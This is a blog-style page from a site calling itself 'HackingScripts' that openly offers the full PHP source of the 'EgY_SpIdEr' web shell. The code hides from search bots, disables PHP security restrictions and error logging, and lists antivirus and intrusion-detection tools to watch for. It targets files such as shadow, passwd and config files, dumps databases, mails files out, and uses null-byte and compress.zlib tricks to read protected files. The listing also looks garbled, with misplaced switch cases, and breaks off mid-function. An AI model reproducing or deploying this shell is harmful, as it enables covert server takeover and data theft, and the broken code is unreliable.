HackingScripts

Hack Scripts for everybody

EgY_SpIdEr Shell

19 Feb 2014

EgY_SpIdEr ShElL. developer (Developed?) by EgY SpIdEr.

This shell seems to have every hack function you might want on a single page! Take a look at the screenshot below.

EgY_SpIdEr ShElL Source Code

   1 <?php if (preg_match("/bot/", $_SERVER[HTTP_USER_AGENT])) {
   2     header("HTTP/1.0 404");
   3     exit("<h1>Not Found</h1>");
   4 }
   5 $language = 'eng';
   6 $auth = 0;
   7 $name = '7d1f6442a9ed59e62f93dcbc2695baa6';
   8 $pass = '7d1f6442a9ed59e62f93dcbc2695baa6';
   9 @setlocale(LC_ALL, 'ru_RU.cp1251');
  10 @ini_restore("safe_mode");
  11 @ini_restore("open_basedir");
  12 @ini_restore("safe_mode_include_dir");
  13 @ini_restore("safe_mode_exec_dir");
  14 @ini_restore("disable_functions");
  15 @ini_restore("allow_url_fopen");
  16 if (@function_exists('ini_set')) {
  17     @ini_set('error_log', NULL);
  18     @ini_set('log_errors', 0);
  19     @ini_set('file_uploads', 1);
  20     @ini_set('allow_url_fopen', 1);
  21 } else {
  22     @ini_alter('error_log', NULL);
  23     @ini_alter('log_errors', 0);
  24     @ini_alter('file_uploads', 1);
  25     @ini_alter('allow_url_fopen', 1);
  26 }
  27 error_reporting(E_ALL);
  28 $userful = array('gcc', ', lcc', ', cc', ', ld', ', php', ', perl', ', python', ', ruby', ', make', ', tar', ', gzip', ', bzip', ', bzip2', ', nc', ', locate', ', suidperl');
  29 $danger = array(', kav', ', nod32', ', bdcored', ', uvscan', ', sav', ', drwebd', ', clamd', ', rkhunter', ', chkrootkit', ', iptables', ', ipfw', ', tripwire', ', shieldcc', ', portsentry', ', snort', ', ossec', ', lidsadm', ', tcplodg', ', sxid', ', logcheck', ', logwatch', ', sysmask', ', zmbscap', ', sawmill', ', wormscan', ', ninja');
  30 $tempdirs = array(@ini_get('session.save_path') . '/', @ini_get('upload_tmp_dir') . '/', '/tmp/', '/dev/shm/', '/var/tmp/');
  31 $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get');
  32 $chars_rlph = "abcdefghijklnmopqrstuvwxyz";
  33 $presets_rlph = array('index.php', '.htaccess', '.htpasswd', 'httpd.conf', 'vhosts.conf', 'cfg.php', 'config.php', 'config.inc.php', 'config.default.php', 'config.inc.php', 'shadow', 'passwd', '.bash_history', '.mysql_history', 'master.passwd', 'user', 'admin', 'password', 'administrator', 'phpMyAdmin', 'security', 'php.ini', 'cdrom', 'root', 'my.cnf', 'pureftpd.conf', 'proftpd.conf', 'ftpd.conf', 'resolv.conf', 'login.conf', 'smb.conf', 'sysctl.conf', 'syslog.conf', 'access.conf', 'accounting.log', 'home', 'htdocs', 'access', 'auth', 'error', 'backup', 'data', 'back', 'sysconfig', 'phpbb', 'phpbb2', 'vbulletin', 'vbullet', 'phpnuke', 'cgi-bin', 'html', 'robots.txt', 'billing');
  34 define("starttime", @getmicrotime());
  35 if ((!@function_exists('ini_get')) || (@ini_get('open_basedir') != NULL) || (@ini_get('safe_mode_include_dir') != NULL)) {
  36     $open_basedir = 1;
  37 } else {
  38     $open_basedir = 0;
  39 };
  40 set_magic_quotes_runtime(0);
  41 @set_time_limit(0);
  42 if (@function_exists('ini_set')) {
  43     @ini_set('max_execution_time', 0);
  44     @ini_set('output_buffering', 0);
  45 } else {
  46     @ini_alter('max_execution_time', 0);
  47     @ini_alter('output_buffering', 0);
  48 }
  49 $safe_mode = @ini_get('safe_mode');
  50 $version = '1.42';
  51 if (@version_compare(@phpversion(), '4.1.0') == - 1) {
  52     $_POST = & $HTTP_POST_VARS;
  53     $_GET = & $HTTP_GET_VARS;
  54     $_SERVER = & $HTTP_SERVER_VARS;
  55     $_COOKIE = & $HTTP_COOKIE_VARS;
  56 }
  57 if (@get_magic_quotes_gpc()) {
  58     foreach ($_POST as $k => $v) {
  59         $_POST[$k] = stripslashes($v);
  60     }
  61     foreach ($_COOKIE as $k => $v) {
  62         $_COOKIE[$k] = stripslashes($v);
  63     }
  64 }
  65 if ($auth == 1) {
  66     if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER']) !== $name || md5($_SERVER['PHP_AUTH_PW']) !== $pass) {
  67         header('WWW-Authenticate: Basic realm="HELLO!"');
  68         header('HTTP/1.0 401 Unauthorized');
  69         exit("<h1>Access Denied</h1>");
  70     }
  71 }
  72 if (!isset($_COOKIE['tempdir'], $_COOKIE['select_tempdir'])) {
  73     $tempdir = './';
  74     $select_tempdir = '<select name=tempdir><option value="./">./</option>';
  75     foreach ($tempdirs as $item) {
  76         if (@is_writable($item)) {
  77             $select_tempdir.= '<option value="' . $item . '">' . $item . '</option>';
  78             $tempdir = $item;
  79         }
  80     }
  81     $select_tempdir.= '</select>';
  82 } else {
  83     if (isset($_POST['tempdir'])) {
  84         $tempdir = $_POST['tempdir'];
  85     } else {
  86         $tempdir = $_COOKIE['tempdir'];
  87     }
  88     $select_tempdir = $_COOKIE['select_tempdir'];
  89 }
  90 $head = '<!-- EgY_SpIdEr -->
  91 <html>
  92 <head>
  93 <meta http-equiv="Content-Language" content="ar-sa">
  94 <meta name="GENERATOR" content="Microsoft FrontPage 6.0">
  95 <meta name="ProgId" content="FrontPage.Editor.Document">
  96 <meta http-equiv="Content-Type" content="text/html; charset=windows-1256">
  97 <title>EgY_SpIdEr ShElL</title>
  98 
  99 
 100 
 101 <STYLE>
 102 
 103 BODY
 104  {
 105         SCROLLBAR-FACE-COLOR: #000000; SCROLLBAR-HIGHLIGHT-COLOR: #000000; SCROLLBAR-SHADOW-COLOR: #000000; COLOR: #666666; SCROLLBAR-3DLIGHT-COLOR: #726456; SCROLLBAR-ARROW-COLOR: #726456; SCROLLBAR-TRACK-COLOR: #292929; FONT-FAMILY: Verdana; SCROLLBAR-DARKSHADOW-COLOR: #726456
 106 }
 107 
 108 tr {
 109 BORDER-RIGHT:  #333333 ;
 110 BORDER-TOP:    #333333 ;
 111 BORDER-LEFT:   #333333 ;
 112 BORDER-BOTTOM: #333333 ;
 113 color: #FFFFFF;
 114 }
 115 td {
 116 BORDER-RIGHT:  #333333 ;
 117 BORDER-TOP:    #333333 ;
 118 BORDER-LEFT:   #333333 ;
 119 BORDER-BOTTOM: #333333 ;
 120 color: #FFFFFF;
 121 }
 122 .table1 {
 123 BORDER: 1;
 124 BACKGROUND-COLOR: #000000;
 125 color: #333333;
 126 }
 127 .td1 {
 128 BORDER: 1;
 129 font: 7pt tahoma;
 130 color: #ffffff;
 131 }
 132 .tr1 {
 133 BORDER: 1;
 134 color: #333333;
 135 }
 136 table {
 137 BORDER:  #eeeeee  outset;
 138 BACKGROUND-COLOR: #000000;
 139 color: #333333;
 140 }
 141 input {
 142 BORDER-RIGHT:  #00FF00 1 solid;
 143 BORDER-TOP:    #00FF00 1 solid;
 144 BORDER-LEFT:  #00FF00 1 solid;
 145 BORDER-BOTTOM: #00FF00 1 solid;
 146 BACKGROUND-COLOR: #333333;
 147 font: 9pt tahoma;
 148 color: #ffffff;
 149 }
 150 select {
 151 BORDER-RIGHT:  #ffffff 1 solid;
 152 BORDER-TOP:    #999999 1 solid;
 153 BORDER-LEFT:   #999999 1 solid;
 154 BORDER-BOTTOM: #ffffff 1 solid;
 155 BACKGROUND-COLOR: #000000;
 156 font: 9pt tahoma;
 157 color: #333333;;
 158 }
 159 submit {
 160 BORDER:  buttonhighlight 1 outset;
 161 BACKGROUND-COLOR: #272727;
 162 width: 40%;
 163 color: #333333;
 164 }
 165 textarea {
 166 BORDER-RIGHT:  #ffffff 1 solid;
 167 BORDER-TOP:    #999999 1 solid;
 168 BORDER-LEFT:   #999999 1 solid;
 169 BORDER-BOTTOM: #ffffff 1 solid;
 170 BACKGROUND-COLOR: #333333;
 171 font: Fixedsys bold;
 172 color: #ffffff;
 173 }
 174 BODY {
 175 margin: 1;
 176 color: #333333;
 177 background-color: #000000;
 178 }
 179 A:link {COLOR:red; TEXT-DECORATION: none}
 180 A:visited { COLOR:red; TEXT-DECORATION: none}
 181 A:active {COLOR:red; TEXT-DECORATION: none}
 182 A:hover {color:blue;TEXT-DECORATION: none}
 183 
 184 </STYLE>
 185 <script language=\'javascript\'>
 186 function hide_div(id)
 187 {
 188   document.getElementById(id).style.display = \'none\';
 189   document.cookie=id+\'=0;\';
 190 }
 191 function show_div(id)
 192 {
 193   document.getElementById(id).style.display = \'block\';
 194   document.cookie=id+\'=1;\';
 195 }
 196 function change_divst(id)
 197 {
 198   if (document.getElementById(id).style.display == \'none\')
 199     show_div(id);
 200   else
 201     hide_div(id);
 202 }
 203 </script>';
 204 class zipfile {
 205     var $datasec = array();
 206     var $ctrl_dir = array();
 207     var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
 208     var $old_offset = 0;
 209     function unix2DosTime($unixtime = 0) {
 210         $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
 211         if ($timearray['year'] < 1980) {
 212             $timearray['year'] = 1980;
 213             $timearray['mon'] = 1;
 214             $timearray['mday'] = 1;
 215             $timearray['hours'] = 0;
 216             $timearray['minutes'] = 0;
 217             $timearray['seconds'] = 0;
 218         }
 219         return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
 220     }
 221     function addFile($data, $name, $time = 0) {
 222         $name = str_replace('\\', '/', $name);
 223         $dtime = dechex($this->unix2DosTime($time));
 224         $hexdtime = '\x' . $dtime[6] . $dtime[7] . '\x' . $dtime[4] . $dtime[5] . '\x' . $dtime[2] . $dtime[3] . '\x' . $dtime[0] . $dtime[1];
 225         eval('$hexdtime = "' . $hexdtime . '";');
 226         $fr = "\x50\x4b\x03\x04";
 227         $fr.= "\x14\x00";
 228         $fr.= "\x00\x00";
 229         $fr.= "\x08\x00";
 230         $fr.= $hexdtime;
 231         $unc_len = strlen($data);
 232         $crc = crc32($data);
 233         $zdata = gzcompress($data);
 234         $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
 235         $c_len = strlen($zdata);
 236         $fr.= pack('V', $crc);
 237         $fr.= pack('V', $c_len);
 238         $fr.= pack('V', $unc_len);
 239         $fr.= pack('v', strlen($name));
 240         $fr.= pack('v', 0);
 241         $fr.= $name;
 242         $fr.= $zdata;
 243         $this->datasec[] = $fr;
 244         $cdrec = "\x50\x4b\x01\x02";
 245         $cdrec.= "\x00\x00";
 246         $cdrec.= "\x14\x00";
 247         $cdrec.= "\x00\x00";
 248         $cdrec.= "\x08\x00";
 249         $cdrec.= $hexdtime;
 250         $cdrec.= pack('V', $crc);
 251         $cdrec.= pack('V', $c_len);
 252         $cdrec.= pack('V', $unc_len);
 253         $cdrec.= pack('v', strlen($name));
 254         $cdrec.= pack('v', 0);
 255         $cdrec.= pack('v', 0);
 256         $cdrec.= pack('v', 0);
 257         $cdrec.= pack('v', 0);
 258         $cdrec.= pack('V', 32);
 259         $cdrec.= pack('V', $this->old_offset);
 260         $this->old_offset+= strlen($fr);
 261         $cdrec.= $name;
 262         $this->ctrl_dir[] = $cdrec;
 263     }
 264     function file() {
 265         $data = implode('', $this->datasec);
 266         $ctrldir = implode('', $this->ctrl_dir);
 267         return $data . $ctrldir . $this->eof_ctrl_dir . pack('v', sizeof($this->ctrl_dir)) . pack('v', sizeof($this->ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
 268     }
 269 }
 270 function compress(&$filename, &$filedump, $compress) {
 271     global $content_encoding;
 272     global $mime_type;
 273     if ($compress == 'bzip' && @function_exists('bzcompress')) {
 274         $filename.= '.bz2';
 275         $mime_type = 'application/x-bzip2';
 276         $filedump = bzcompress($filedump);
 277     } else if ($compress == 'gzip' && @function_exists('gzencode')) {
 278         $filename.= '.gz';
 279         $content_encoding = 'x-gzip';
 280         $mime_type = 'application/x-gzip';
 281         $filedump = gzencode($filedump);
 282     } else if ($compress == 'zip' && @function_exists('gzcompress')) {
 283         $filename.= '.zip';
 284         $mime_type = 'application/zip';
 285         $zipfile = new zipfile();
 286         $zipfile->addFile($filedump, substr($filename, 0, -4));
 287         $filedump = $zipfile->file();
 288     } else {
 289         $mime_type = 'application/octet-stream';
 290     }
 291 }
 292 function moreread($temp) {
 293     global $lang, $language;
 294     $str = '';
 295     if (@function_exists('fopen') && @function_exists('feof') && @function_exists('fgets') && @function_exists('feof') && @function_exists('fclose') && ($ffile = @fopen($temp, "r"))) {
 296         if ($ffile) {
 297             while (!@feof($ffile)) {
 298                 $str.= @fgets($ffile);
 299             };
 300             fclose($ffile);
 301         }
 302     } elseif (@function_exists('fopen') && @function_exists('fread') && @function_exists('fclose') && @function_exists('filesize') && ($ffile = @fopen($temp, "r"))) {
 303         if ($ffile) {
 304             $str = @fread($ffile, @filesize($temp));
 305             @fclose($ffile);
 306         }
 307     } elseif (@function_exists('file') && ($ffiles = @file($temp))) {
 308         foreach ($ffiles as $ffile) {
 309             $str.= $ffile;
 310         }
 311     } elseif (@function_exists('file_get_contents')) {
 312         $str = @file_get_contents($temp);
 313     } elseif (@function_exists('readfile')) {
 314         $str = @readfile($temp);
 315     } elseif (@function_exists('highlight_file')) {
 316         $str = @highlight_file($temp);
 317     } elseif (@function_exists('show_source')) {
 318         $str = @show_source($temp);
 319     } else {
 320         echo $lang[$language . '_text56'];
 321     }
 322     return $str;
 323 }
 324 function readzlib($filename, $temp = '') {
 325     global $lang, $language;
 326     $str = '';
 327     if (!$temp) {
 328         $temp = tempnam(@getcwd(), "copytemp");
 329     };
 330     if (@copy("compress.zlib://" . $filename, $temp)) {
 331         $str = moreread($temp);
 332     } else echo $lang[$language . '_text119'];
 333     @unlink($temp);
 334     return $str;
 335 }
 336 function morewrite($temp, $str = '') {
 337     global $lang, $language;
 338     if (@function_exists('fopen') && @function_exists('fwrite') && @function_exists('fclose') && ($ffile = @fopen($temp, "wb"))) {
 339         if ($ffile) {
 340             @fwrite($ffile, $str);
 341             @fclose($ffile);
 342         }
 343     } elseif (@function_exists('fopen') && @function_exists('fputs') && @function_exists('fclose') && ($ffile = @fopen($temp, "wb"))) {
 344         if ($ffile) {
 345             @fputs($ffile, $str);
 346             @fclose($ffile);
 347         }
 348     } elseif (@function_exists('file_put_contents')) {
 349         @file_put_contents($temp, $str);
 350     } else return 0;
 351     return 1;
 352 }
 353 function mailattach($to, $from, $subj, $attach) {
 354     $headers = "From: $from\r\n";
 355     $headers.= "MIME-Version: 1.0\r\n";
 356     $headers.= "Content-Type: " . $attach['type'];
 357     $headers.= "; name=\"" . $attach['name'] . "\"\r\n";
 358     $headers.= "Content-Transfer-Encoding: base64\r\n\r\n";
 359     $headers.= chunk_split(base64_encode($attach['content'])) . "\r\n";
 360     if (mail($to, $subj, "", $headers)) {
 361         return 1;
 362     }
 363     return 0;
 364 }
 365 class my_sql {
 366     var $host = 'localhost';
 367     var $port = '';
 368     var $user = '';
 369     var $pass = '';
 370     var $base = '';
 371     var $db = '';
 372     var $connection;
 373     var $res;
 374     var $error;
 375     var $rows;
 376     var $columns;
 377     var $num_rows;
 378     var $num_fields;
 379     var $dump;
 380     function connect() {
 381         switch ($this->db) {
 382             case 'MySQL':
 383                 if (empty($this->port)) {
 384                     $this->port = '3306';
 385                 }
 386                 if (!@function_exists('mysql_connect')) return 0;
 387                 $this->connection = @mysql_connect($this->host . ':' . $this->port, $this->user, $this->pass);
 388                 if (is_resource($this->connection)) return 1;
 389                 break;
 390             case 'MSSQL':
 391                 if (empty($this->port)) {
 392                     $this->port = '1433';
 393                 }
 394                 if (!@function_exists('mssql_connect')) return 0;
 395                 $this->connection = @mssql_connect($this->host . ',' . $this->port, $this->user, $this->pass);
 396                 if ($this->connection) return 1;
 397                 break;
 398             case 'PostgreSQL':
 399                 if (empty($this->port)) {
 400                     $this->port = '5432';
 401                 }
 402                 $str = "host='" . $this->host . "' port='" . $this->port . "' user='" . $this->user . "' password='" . $this->pass . "' dbname='" . $this->base . "'";
 403                 if (!@function_exists('pg_connect')) return 0;
 404                 $this->connection = @pg_connect($str);
 405                 if (is_resource($this->connection)) return 1;
 406                 break;
 407             case 'Oracle':
 408                 if (!@function_exists('ocilogon')) return 0;
 409                 $this->connection = @ocilogon($this->user, $this->pass, $this->base);
 410                 if (is_resource($this->connection)) return 1;
 411                 break;
 412             case 'MySQLi':
 413                 if (empty($this->port)) {
 414                     $this->port = '3306';
 415                 }
 416                 if (!@function_exists('mysqli_connect')) return 0;
 417                 $this->connection = @mysqli_connect($this->host, $this->user, $this->pass, $this->base, $this->port);
 418                 if (is_resource($this->connection)) return 1;
 419                 break;
 420             case 'mSQL':
 421                 if (!@function_exists('msql_connect')) return 0;
 422                 $this->connection = @msql_connect($this->host . ':' . $this->port, $this->user, $this->pass);
 423                 if (is_resource($this->connection)) return 1;
 424                 break;
 425             case 'SQLite':
 426                 if (!@function_exists('sqlite_open')) return 0;
 427                 $this->connection = @sqlite_open($this->base);
 428                 if (is_resource($this->connection)) return 1;
 429                 break;
 430             }
 431             return 0;
 432         }
 433         function select_db() {
 434             switch ($this->db) {
 435                 case 'MySQL':
 436                     if (@mysql_select_db($this->base, $this->connection)) return 1;
 437                     break;
 438                 case 'MSSQL':
 439                     if (@mssql_select_db($this->base, $this->connection)) return 1;
 440                     break;
 441                 case 'PostgreSQL':
 442                     return 1;
 443                     break;
 444                 case 'Oracle':
 445                     return 1;
 446                     break;
 447                 case 'MySQLi':
 448                     return 1;
 449                     break;
 450                 case 'mSQL':
 451                     if (@msql_select_db($this->base, $this->connection)) return 1;
 452                     break;
 453                 case 'SQLite':
 454                     return 1;
 455                     break;
 456                 }
 457                 return 0;
 458             }
 459             function query($query) {
 460                 $this->res = $this->error = '';
 461                 switch ($this->db) {
 462                     case 'MySQL':
 463                         if (false === ($this->res = @mysql_query('/*' . chr(0) . '*/' . $query, $this->connection))) {
 464                             $this->error = @mysql_error($this->connection);
 465                             return 0;
 466                         } else if (is_resource($this->res)) {
 467                             return 1;
 468                         }
 469                         return 2;
 470                         break;
 471                     case 'MSSQL':
 472                         if (false === ($this->res = @mssql_query($query, $this->connection))) {
 473                             $this->error = 'Query error';
 474                             return 0;
 475                         } else if (@mssql_num_rows($this->res) > 0) {
 476                             return 1;
 477                         }
 478                         return 2;
 479                         break;
 480                     case 'PostgreSQL':
 481                         if (false === ($this->res = @pg_query($this->connection, $query))) {
 482                             $this->error = @pg_last_error($this->connection);
 483                             return 0;
 484                         } else if (@pg_num_rows($this->res) > 0) {
 485                             return 1;
 486                         }
 487                         return 2;
 488                         break;
 489                     case 'Oracle':
 490                         if (false === ($this->res = @ociparse($this->connection, $query))) {
 491                             $this->error = 'Query parse error';
 492                         } else {
 493                             if (@ociexecute($this->res)) {
 494                                 if (@ocirowcount($this->res) != 0) return 2;
 495                                 return 1;
 496                             }
 497                             $error = @ocierror();
 498                             $this->error = $error['message'];
 499                         }
 500                         break;
 501                     case 'MySQLi':
 502                         if (false === ($this->res = @mysqli_query($this->connection, $query))) {
 503                             $this->error = @mysqli_error($this->connection);
 504                             return 0;
 505                         } else if (is_resource($this->res)) {
 506                             return 1;
 507                         }
 508                         return 2;
 509                         break;
 510                     case 'mSQL':
 511                         if (false === ($this->res = @msql_query($query, $this->connection))) {
 512                             $this->error = @msql_error($this->connection);
 513                             return 0;
 514                         } else if (is_resource($this->res)) {
 515                             return 1;
 516                         }
 517                         return 2;
 518                         break;
 519                     case 'SQLite':
 520                         if (false === ($this->res = @sqlite_query($this->connection, $query))) {
 521                             $this->error = @sqlite_error_string($this->connection);
 522                             return 0;
 523                         } else if (is_resource($this->res)) {
 524                             return 1;
 525                         }
 526                         return 2;
 527                         break;
 528                     }
 529                     return 0;
 530                 }
 531                 function get_result() {
 532                     $this->rows = array();
 533                     $this->columns = array();
 534                     $this->num_rows = $this->num_fields = 0;
 535                     switch ($this->db) {
 536                         case 'MySQL':
 537                             $this->num_rows = @mysql_num_rows($this->res);
 538                             $this->num_fields = @mysql_num_fields($this->res);
 539                             while (false !== ($this->rows[] = @mysql_fetch_assoc($this->res)));
 540                             @mysql_free_result($this->res);
 541                             if ($this->num_rows) {
 542                                 $this->columns = @array_keys($this->rows[0]);
 543                                 return 1;
 544                             }
 545                             break;
 546                         case 'MSSQL':
 547                             $this->num_rows = @mssql_num_rows($this->res);
 548                             $this->num_fields = @mssql_num_fields($this->res);
 549                             while (false !== ($this->rows[] = @mssql_fetch_assoc($this->res)));
 550                             @mssql_free_result($this->res);
 551                             if ($this->num_rows) {
 552                                 $this->columns = @array_keys($this->rows[0]);
 553                                 return 1;
 554                             };
 555                             break;
 556                         case 'PostgreSQL':
 557                             $this->num_rows = @pg_num_rows($this->res);
 558                             $this->num_fields = @pg_num_fields($this->res);
 559                             while (false !== ($this->rows[] = @pg_fetch_assoc($this->res)));
 560                             @pg_free_result($this->res);
 561                             if ($this->num_rows) {
 562                                 $this->columns = @array_keys($this->rows[0]);
 563                                 return 1;
 564                             }
 565                             break;
 566                         case 'Oracle':
 567                             $this->num_fields = @ocinumcols($this->res);
 568                             while (false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++;
 569                             @ocifreestatement($this->res);
 570                             if ($this->num_rows) {
 571                                 $this->columns = @array_keys($this->rows[0]);
 572                                 return 1;
 573                             }
 574                             break;
 575                         case 'MySQLi':
 576                             $this->num_rows = @mysqli_num_rows($this->res);
 577                             $this->num_fields = @mysqli_num_fields($this->res);
 578                             while (false !== ($this->rows[] = @mysqli_fetch_assoc($this->res)));
 579                             @mysqli_free_result($this->res);
 580                             if ($this->num_rows) {
 581                                 $this->columns = @array_keys($this->rows[0]);
 582                                 return 1;
 583                             }
 584                             break;
 585                         case 'mSQL':
 586                             $this->num_rows = @msql_num_rows($this->res);
 587                             $this->num_fields = @msql_num_fields($this->res);
 588                             while (false !== ($this->rows[] = @msql_fetch_array($this->res)));
 589                             @msql_free_result($this->res);
 590                             if ($this->num_rows) {
 591                                 $this->columns = @array_keys($this->rows[0]);
 592                                 return 1;
 593                             }
 594                             break;
 595                         case 'SQLite':
 596                             $this->num_rows = @sqlite_num_rows($this->res);
 597                             $this->num_fields = @sqlite_num_fields($this->res);
 598                             while (false !== ($this->rows[] = @sqlite_fetch_array($this->res)));
 599                             if ($this->num_rows) {
 600                                 $this->columns = @array_keys($this->rows[0]);
 601                                 return 1;
 602                             }
 603                             break;
 604                         }
 605                         return 0;
 606                     }
 607                     function dump($table) {
 608                         if (empty($table)) return 0;
 609                         $this->dump = array();
 610                         $this->dump[0] = '
 611 ###';
 612                         $this->dump[1] = '
 613 ### --------------------------------------- ';
 614                         $this->dump[2] = '
 615 ###  Created: ' . date("d/m/Y H:i:s");
 616                         $this->dump[3] = '
 617 ### Database: ' . $this->base;
 618                         $this->dump[4] = '
 619 ###    Table: ' . $table;
 620                         $this->dump[5] = '
 621 ### --------------------------------------- ';
 622                         switch ($this->db) {
 623                             case 'MySQL':
 624                                 $this->dump[0] = '
 625 ### MySQL dump';
 626                                 if ($this->query('/*' . chr(0) . '*/ SHOW CREATE TABLE `' . $table . '`') != 1) return 0;
 627                                 if (!$this->get_result()) return 0;
 628                                 $this->dump[] = $this->rows[0]['Create Table'];
 629                                 $this->dump[] = '
 630 ### --------------------------------------- ';
 631                                 if ($this->query('/*' . chr(0) . '*/ SELECT * FROM `' . $table . '`') != 1) return 0;
 632                                 if (!$this->get_result()) return 0;
 633                                 for ($i = 0;$i < $this->num_rows;$i++) {
 634                                     foreach ($this->rows[$i] as $k => $v) {
 635                                         $this->rows[$i][$k] = @mysql_real_escape_string($v);
 636                                     }
 637                                     $this->dump[] = 'INSERT INTO `' . $table . '` (`' . @implode("`, `", $this->columns) . '`) VALUES (\'' . @implode("', '", $this->rows[$i]) . '\');';
 638                                 }
 639                                 break;
 640                             case 'MSSQL':
 641                                 $this->dump[0] = '
 642 ### MSSQL dump';
 643                                 if ($this->query('SELECT * FROM ' . $table) != 1) return 0;
 644                                 if (!$this->get_result()) return 0;
 645                                 for ($i = 0;$i < $this->num_rows;$i++) {
 646                                     foreach ($this->rows[$i] as $k => $v) {
 647                                         $this->rows[$i][$k] = @addslashes($v);
 648                                     }
 649                                     $this->dump[] = 'INSERT INTO ' . $table . ' (' . @implode(", ", $this->columns) . ') VALUES (\'' . @implode("', '", $this->rows[$i]) . '\');';
 650                                 }
 651                                 break;
 652                             case 'PostgreSQL':
 653                                 $this->dump[0] = '
 654 ### PostgreSQL dump';
 655                                 if ($this->query('SELECT * FROM ' . $table) != 1) return 0;
 656                                 if (!$this->get_result()) return 0;
 657                                 for ($i = 0;$i < $this->num_rows;$i++) {
 658                                     foreach ($this->rows[$i] as $k => $v) {
 659                                         $this->rows[$i][$k] = @addslashes($v);
 660                                     }
 661                                     $this->dump[] = 'INSERT INTO ' . $table . ' (' . @implode(", ", $this->columns) . ') VALUES (\'' . @implode("', '", $this->rows[$i]) . '\');';
 662                                 }
 663                                 break;
 664                             case 'Oracle':
 665                                 $this->dump[0] = '
 666 ### ORACLE dump';
 667                                 if ($this->query('SELECT * FROM ' . $table) != 1) return 0;
 668                                 if (!$this->get_result()) return 0;
 669                                 for ($i = 0;$i < $this->num_rows;$i++) {
 670                                     foreach ($this->rows[$i] as $k => $v) {
 671                                         $this->rows[$i][$k] = @addslashes($v);
 672                                     }
 673                                     $this->dump[] = 'INSERT INTO ' . $table . ' (' . @implode(", ", $this->columns) . ') VALUES (\'' . @implode("', '", $this->rows[$i]) . '\');';
 674                                 }
 675                                 break;
 676                             case 'MySQLi':
 677                                 $this->dump[0] = '
 678 ### MySQLi dump';
 679                                 if ($this->query('SELECT * FROM ' . $table) != 1) return 0;
 680                                 if (!$this->get_result()) return 0;
 681                                 for ($i = 0;$i < $this->num_rows;$i++) {
 682                                     foreach ($this->rows[$i] as $k => $v) {
 683                                         $this->rows[$i][$k] = @mysqli_real_escape_string($v);
 684                                     }
 685                                     $this->dump[] = 'INSERT INTO ' . $table . ' (' . @implode(", ", $this->columns) . ') VALUES (\'' . @implode("', '", $this->rows[$i]) . '\');';
 686                                 }
 687                                 break;
 688                             case 'mSQL':
 689                                 $this->dump[0] = '
 690 ### mSQL dump';
 691                                 if ($this->query('SELECT * FROM ' . $table) != 1) return 0;
 692                                 if (!$this->get_result()) return 0;
 693                                 for ($i = 0;$i < $this->num_rows;$i++) {
 694                                     foreach ($this->rows[$i] as $k => $v) {
 695                                         $this->rows[$i][$k] = @addslashes($v);
 696                                     }
 697                                     $this->dump[] = 'INSERT INTO ' . $table . ' (' . @implode(", ", $this->columns) . ') VALUES (\'' . @implode("', '", $this->rows[$i]) . '\');';
 698                                 }
 699                                 break;
 700                             case 'SQLite':
 701                                 $this->dump[0] = '
 702 ### SQLite dump';
 703                                 if ($this->query('SELECT * FROM ' . $table) != 1) return 0;
 704                                 if (!$this->get_result()) return 0;
 705                                 for ($i = 0;$i < $this->num_rows;$i++) {
 706                                     foreach ($this->rows[$i] as $k => $v) {
 707                                         $this->rows[$i][$k] = @addslashes($v);
 708                                     }
 709                                     $this->dump[] = 'INSERT INTO ' . $table . ' (' . @implode(", ", $this->columns) . ') VALUES (\'' . @implode("', '", $this->rows[$i]) . '\');';
 710                                 }
 711                                 break;
 712                             default:
 713                                 return 0;
 714                                 break;
 715                             }
 716                             return 1;
 717                         }
 718                         function close() {
 719                             switch ($this->db) {
 720                                 case 'MySQL':
 721                                     @mysql_close($this->connection);
 722                                 break;
 723                                 case 'MSSQL':
 724                                     @mssql_close($this->connection);
 725                                 break;
 726                                 case 'PostgreSQL':
 727                                     @pg_close($this->connection);
 728                                 break;
 729                                 case 'Oracle':
 730                                     @oci_close($this->connection);
 731                                 break;
 732                                 case 'MySQLi':
 733                                     @mysqli_close($this->connection);
 734                                 break;
 735                                 case 'mSQL':
 736                                     @msql_close($this->connection);
 737                                 break;
 738                                 case 'SQLite':
 739                                     @sqlite_close($this->connection);
 740                                 break;
 741                             }
 742                         }
 743                         function affected_rows() {
 744                             switch ($this->db) {
 745                                 case 'MySQL':
 746                                     return @mysql_affected_rows($this->res);
 747                                 break;
 748                                 case 'MSSQL':
 749                                     return @mssql_affected_rows($this->res);
 750                                 break;
 751                                 case 'PostgreSQL':
 752                                     return @pg_affected_rows($this->res);
 753                                 break;
 754                                 case 'Oracle':
 755                                     return @ocirowcount($this->res);
 756                                 break;
 757                                 case 'MySQLi':
 758                                     return @mysqli_affected_rows($this->res);
 759                                 break;
 760                                 case 'mSQL':
 761                                     return @msql_affected_rows($this->res);
 762                                 break;
 763                                 case 'SQLite':
 764                                     return @sqlite_changes($this->res);
 765                                 break;
 766                                 default:
 767                                     return 0;
 768                                 break;
 769                                 break;
 770                                 case 'cURL':
 771                                     if (empty($_POST['egy_spider'])) {
 772                                     } else {
 773                                         $curl = $_POST['egy_spider'];
 774                                         $ch = curl_init("file:///" . $curl . "\x00/../../../../../../../../../../../../" . __FILE__);
 775                                         curl_exec($ch);
 776                                         var_dump(curl_exec($ch));
 777                                         echo "</textarea></CENTER>";
 778                                     }
 779                                 break;
 780                                 case 'copy':
 781                                     if (empty($snn)) {
 782                                         if (empty($_GET['snn'])) {
 783                                             if (empty($_POST['snn'])) {
 784                                             } else {
 785                                                 $u1p = $_POST['snn'];
 786                                             }
 787                                         } else {
 788                                             $u1p = $_GET['snn'];
 789                                         }
 790                                     }
 791                                     $u1p = "";
 792                                     $tymczas = "";
 793                                     $temp = tempnam($tymczas, "cx");
 794                                     if (copy("compress.zlib://" . $snn, $temp)) {
 795                                         $zrodlo = fopen($temp, "r");
 796                                         $tekst = fread($zrodlo, filesize($temp));
 797                                         fclose($zrodlo);
